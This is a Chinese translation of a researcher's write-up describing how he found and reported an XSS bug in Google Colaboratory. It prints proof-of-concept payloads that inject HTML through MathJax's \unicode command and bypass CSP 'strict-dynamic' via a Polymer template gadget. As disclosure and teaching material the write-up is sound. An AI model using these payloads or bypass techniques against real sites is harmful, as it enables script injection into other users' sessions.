我是如何找到 Google Colaboratory 中的一个 xss 漏洞的

本文作者:Michał Bentkowski 原文地址:https://blog.bentkowski.info/2018/06/xss-in-google-colaboratory-csp-bypass.html?view=classic 翻译作者:晚风(信安之路作者团队成员)

在本文中,我来讲讲我碰到的一个有趣的 XSS。2018 年 2 月,我在 google 的一个网络应用中发现了这个 XSS。这篇文章我不希望只是直接写出这个 XSS 存在在哪里,我会写出我找到这个 XSS 漏洞的思路,以及我在这个过程中需要克服哪些困难。另外,我还会讲一个用 javascript 小技巧绕过 CSP(内容安全策略)的例子。

什么是 Google Colaboratory

Google Colaboratory 是基于 Jupyter Notebook 的一个应用,主要作为大数据分析记录数据的笔记本。在 Colaboratory 中你可以创建包含文本和代码的文档,文本格式类似 markdown,支持 python2 或 3。代码可以在 Google Cloud 中执行,执行结果可以直接放在文档中。这种处理方式在科学研究中很方便。你可以准备一组数据和以什么方式处理这组数据的代码或者是维恩图。在 Colaboratory 的首页就有这种例子的展示。

像往常一样,我专注于寻找 XSS 漏洞和其他的一些漏洞。

我在之前就提到过了,Colaboratory 的文本使用 markdown 标记语法,markdown 是一种非常适合写笔记的语法,举个例子,你可以输入 **test** 来打印出粗体字,输入*test*打印出斜体字。

有趣的是,许多 markdown 语法解析器允许你直接使用 HTML 标记。Colaratory 也是同样的。例如,当你输入以下代码:

This is <strong>bold</strong>

然后你会在网页的 DOM 树中看到同样的代码

并且“bold”这个单词就变成了粗体。

接下来尝试着加一点简单的 XSS 代码:

Test<imgsrc=1onerror=alert(1)>

然而 DOM 树中显示的是

Test<imgsrc=1>

这意味着 Colaboratory 使用了 html 过滤器过滤掉了一些危险代码,像onerror事件,我在下面会说他到底用了什么 html 过滤库。

所以我们尝试一些别的方法。一个非常常见的在 markdown 解析器中注入 js 代码的方法是使用 javascript 伪协议的超链接,像这段代码:

[CLICK](javascript:alert(1))

被解析后就会被变成

<ahref="javascript:alert(1)">CLICK</a>

然而在 Colaboratory 中,并没有什么效果。当我使用 http/https 以外的协议时,这段 HTML 代码不会包含一个链接。另外我注意到,即使这个URL不包含一个正确的域名,这个链接也还是会被生成。就像我输入:

[CLICK](http://aaa$$$**bbbb)

上面的代码会被解析成

<ahref="https://aaa$$$**bbbb">CLICK</a>

我们便可以猜测URL的验证是通过简单的正则表达式完成的。因为 markdown 在 Colaboratory 中被解析成 javascript 代码,于是我准备从这个应用中的 js 文件入手,查找到那段用于验证 URL 的正则表达式。很快我就找到了下面的这段代码:

[...]
       returnqd(b?a: "about:invalid#zClosurez")
  }
    , sd=/^(?:(?:https?|mailto|ftp):|[^:/?#]*(?:[/?#]|$))/i
    , td=function(a) {
[...]

高亮的那一行是验证链接中的 URL 的正则表达式。我仔细看了一下,但找不到任何办法去绕过。虽然我花费一些时间去寻找这个表达式而且绕过不了,但时间并没有被浪费。我在想既然我发现一个地方会去验证链接的正确性,那或许附近的一些地方为会有一些代码去过滤 HTML?

换句话说,我应该能够找到那段在之前移除 onerror 事件的函数。我的直觉并没有让我失望,在附近的几行代码中,我找到了以下的一段代码:

varFm=xK("goog.html.sanitizer.SafeDomTreProcessor")

我快速地谷歌了一下,goog.hml.sanitizer.SafeDomTreeProcessor是 Google Closure library 的一部分。它包含了一份标签黑白名单。我花了些时间尝试去绕过 Closure 的过滤器但无济于事。在 HTML 过滤方面 Closure 毕竟是一个很受欢迎的依赖库。因此我不太可能在短时间内找到它的一些安全缺陷。

在这方面,我可以从不同的角度看待 Colaboratory。我在应用文档中注意到之前没有注意到的一件事: Colaboratory 还支持 LaTeX 语法。这可能是突破点。

我回到 Colaboratory 中,写出了以下的代码:

\frac12

这在 DOM 树中产生了以下的内容:

<spanclass="MathJax"id="MathJax-Element-5-Frame"tabindex="0"data-mathml="<math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;><mfrac><mn>1</mn><mn>2</mn></mfrac></math>"role="presentation"style="position: relative;">
<nobraria-hidden="true">[...] </nobr>
<spanclass="MJX_Assistive_MathML"role="presentation">
 <mathxmlns="http://www.w3.org/1998/Math/MathML">
  <mfrac>
   <mn>1</mn>
   <mn>2</mn>
  </mfrac>
 </math>
</span>
</span>

<nobr>标记中还有一大块代码,但这里为了简洁把他们删除了。

这些代码看起来非常有意思。我之前提到过 Colaboratory 使用 Closure 依赖库去清除 HTML 代码的危险元素。Closure 有一个标签的白名单,白名单中不包含这些标签:<math><mfrac><mn>。然而,由于渲染了 LaTeX,这些标签出现在了 HTML 中。此外,在第一行中,在data-mathml属性中,你可以看到完全相同的 HTML,这些 HTML 将在 DOM 树中渲染多行。

现在我感觉我离正确的答案越来越近了。为什么?因为,这个应用的这种行为显示了 Closure 库从不清除由 MathJax(LaTeX 依赖库)生成的 HTML 代码。此时,在 Colaboratory 中寻找 XSS 的问题就演变成了在 MathJax 中寻找 XSS。对于我来说,MathJax 似乎没有因为安全问题而经过仔细审核。

所以我查找 MathJax 的文档去寻找它支持哪些 LaTeX 命令。一开始,我注意到了下面的命令:

\href{url}{math}

根据文档的说明,你可以用这条命令在 LaTeX 里创建一个超链接,感觉可以在这里构造 XSS

\href{javascript:alert(1)}{1}

不幸的是,事实证明,MathJax 具有安全模式,可以防止这种攻击。

继续看文档,我发现 \unicode 命令可以使所有的 unicode 字符通过代码值的形式表示在 LaTeX 代码中。可以使用十进制和十六进制形式的数字。于是我在 Colaboratory 中尝试了一下,用下面两种方法输入大写字母 A

\unicode{x41}\unicode{65}

然后在 DOM 树中出现了以下的内容:

<spanclass="MathJax"id="MathJax-Element-6-Frame"tabindex="0"data-mathml="<math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;><mtext>&#x41;</mtext><mtext>&#65;</mtext></math>"role="presentation"style="position: relative;">
<spanclass="MJX_Assistive_MathML"role="presentation">
 <mathxmlns="http://www.w3.org/1998/Math/MathML">
  <mtext>A</mtext>
  <mtext>A</mtext>
 </math>
</span>
</span>

其中,data-mathml 属性中包含了<mtext>标签,HTML 实体与我输入的格式完全相同,就像&#x41;&#65;。因此,MathJax 可能根本不验证 \unicode 命令的参数,只是将其直接放入 HTML 中。我们再试一下:

\unicode{<imgsrc=1onerror=alert(1)>}

于是 DOM 树中出现了:

<spanclass="MathJax"id="MathJax-Element-7-Frame"tabindex="0"data-mathml="<math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;><mtext>&amp;#<img src=1 onerror=alert(1)>;</mtext></math>"role="presentation"style="position: relative;">
<spanclass="MJX_Assistive_MathML"role="presentation">
 <mathxmlns="http://www.w3.org/1998/Math/MathML">
  <mtext>&amp;#
   <imgsrc="1"onerror="alert(1)">
  ;</mtext>
 </math>
</span>
</span>

很棒!img 标签没有被过滤,出现在了 DOM 树中,现在我们的问题在于...页面中并没有出现 alert 这个框。

我想了一会没想出来为什么页面没有 alert 出来,但是当我看到控制台的时候,一切都明白了。

因为 Colaboratory 被 CSP 保护了。CSP 生效从而防御住了 XSS。但不管怎么样我决定向 Google 提交这个 bug,因为 CSP 没有改变 XSS(MathJax bug)存在的这个事实。

我发送了一个报告给 Google 并决定睡觉去了。明天早上起来再想办法绕过 CSP。

CSP绕过

其实昨晚我并没有睡好。虽然我昨天提交了一个 XSS bug,但它不能正常弹出 alert 的框,我有点不甘心。今天继续努力。

Colaboratory 中使用的 CSP 策略包含了两个最重要的指令:'nonce-...' 和 'strict-dynamic'。通常,'nonce-...' 会使 script 标签只有在这个 script 标签包含一个 nonce 属性的值和 'nonce-...' 指令的值相同的时候,这个 script 脚本才会被执行。'strict-dynamic' 允许将信任关系传递给动态生成的脚本,也就是说,“strict-dynamic”允许 js 动态添加的脚本执行,而忽略 script-src 的白名单。并且,其他的 script-src 白名单会被忽略,浏览器不会执行静态或解析器插入的脚本,除非它伴随有效的 nonce 值。 当你有一个可信的脚本(假设他有正确的 nonce 值),并且它在 DOM 树中添加了一个新的<script>脚本,那么这个新的脚本是可信的。因为它是被一个已存在的可信脚本添加的。

去年,Sebastian Lekies, Krzysztof Kotowicz 和 Eduardo Vela Nava 在各种安全会议上发表了题为“Breaking XSS mitigations via Script Gadgets"

https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf

的精彩演讲。演讲中提到了在各种受欢迎的 JS 框架中绕过针对 XSS 的各种缓解措施,这其中就包括了 CSP。在演讲中你还可以找到一张幻灯片,其中显示了你可以绕过以下框架的哪种安全措施。事实表明,Polymer(Colaboratory 使用的框架)可以绕过任何类型的 CSP。

Polymer 是什么?这是一个 JS 库,可以用它来自定义你自己的 HTML 元素,并在代码中直接使用。打个比方,你可以按“SHARE”按钮,然后新的元素<colab-dialog-impl>将会出现在 DOM 树中。我的想法是尝试替换该元素的默认模板,所以我写了下面的代码:

$ \unicode{</math><dom-moduleid=colab-dialog-impl>
<template>
SOME RANDOM TEXT
</template>
</dom-module>} $

结果你可以看下面的演示动画。

这很棒!在点击了“SHARE”后,你可以清楚地看到我写的“SOME RANDOM TEXT”文字出现,取代了之前的窗口。

现在让我们来换上注入的脚本:

$ \unicode{</math><dom-moduleid=colab-dialog-impl>
<template>
 <script>alert(1)</script>
</template>
</dom-module>
<colab-dialog-impl>} $

我们再次停下来理解一下为什么它能生效。<script>标签事实上位于<template>元素中。接下来,每当“SHARE”按钮被按下时,脚本将会被 Polymer 插入进 DOM 树中。因为 Polymer 是可信的脚本,所以新生成的脚本也是可信的。这就利用了 CSP 的‘strict-dynamic’指令绕过了限制。

经过了这漫长的探索,这个 XSS 终于能正常弹框了。

总结

最后总结一下,首先我展示了我是如何在 Colaboratory 中识别 XSS,然后通过在 MathJax 依赖库中寻找到了安全问题从而在 DOM 树中注入了我们的恶意代码。最后,我使用了一个被称为 JS 小技巧来绕过 CSP(内容安全策略)。

目前,MathJax 中的安全问题已经得到了修复。

原文发布于微信公众号 - 信安之路(xazlsec)

原文发表时间:2018-08-04

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏林欣哲

SpringBoot的微信点餐系统后台开发要点

项目设计 角色划分 买家(微信端) 卖家(PC端) 功能分析 ? 关系 ? 部署架构 ? 架构和基础框架 演进:单一应用架构->垂直应用架构->分布式服务架构-...

1.9K400
来自专栏开源FPGA

基于basys2驱动LCDQC12864B的verilog设计图片显示

  话不多说先上图 ? 前言        在做这个实验的时候在网上找了许多资料,都是关于使用单片机驱动LCD显示,确实用单片机驱动是要简单不少,记得在FPGA...

27250
来自专栏phodal

让你的「微信小程序」运行在Chrome浏览器上,让我们使用WebStorm

「微信小程序」的开发框架体验起来,还不错——自带了UI框架。但是问题是他的IDE,表现起来相当的糟糕——其实主要是因为,我当时买WebStorm License...

78660
来自专栏進无尽的文章

扒虫篇- Bug日志 Ⅷ

不执行的原因是 在VC中使用这个ImageUploaderManager时,需要设置为全局变量,如果是局部变量的话,很快会被销毁掉,其中的代理自然不会执行了。

20430
来自专栏小特工作室

DataWindow.Net组件示例(全部开源)

1概述 1.1功能简介 Sybase公司的PowerBuilder开发工具,在以前VS工具没有成事以前,是相当风光的.微软都要与其合作,学习它Db方面的技术,才...

314100
来自专栏闰土大叔

在没有DOM操作的日子里,我是怎么熬过来的(中)

前言 继上篇推送之后,在掘金、segmentfault、简书、博客园等平台上迅速收到了不俗的反馈,大部分网友都留言说感同身受,还有不少网友追问中篇何时更新。于是...

355110
来自专栏coding

听说,撸代码,ide与vim更配哦vim折腾记vim常用命令

在选择编辑器上面,我是一个纠结的人,曾经年少的我执着地追求一款万能的编辑器,可以支持所有编辑语言,灵活可定制,可纯粹用键盘操作。符合这种条件的编辑器,非vim莫...

10720
来自专栏张善友的专栏

在你的网站集成Wiki系统 WikiPlex

Wikiplex 是一种在 .NET Framework 上所开发,具有处理 Wiki 编辑宏功能的小型函式库组件,它提供了数种编辑样式的格式,以让使用者可以类...

22580
来自专栏点滴积累

使用 Cesium 动态加载 GeoJSON 数据

前言 需求是这样的,我需要在地图中显示 08 年到现在的地震情况,地震都是发生在具体的时间点的,那么问题就来了,如何实现地震情况按照时间动态渲染而不是一次全部加...

61550
来自专栏世玉的专栏

【腾讯云的1001种玩法】利用腾讯云搭建实用小工具

腾讯公司一直以来产品就深受我的喜爱,自QQ以来,到微信支付再到LOL,所以这次选择腾讯云服务器作为我的研究对象,一来是亲切感,二来是相信腾讯的技术实力。作为一个...

1.5K00

扫码关注云+社区

领取腾讯云代金券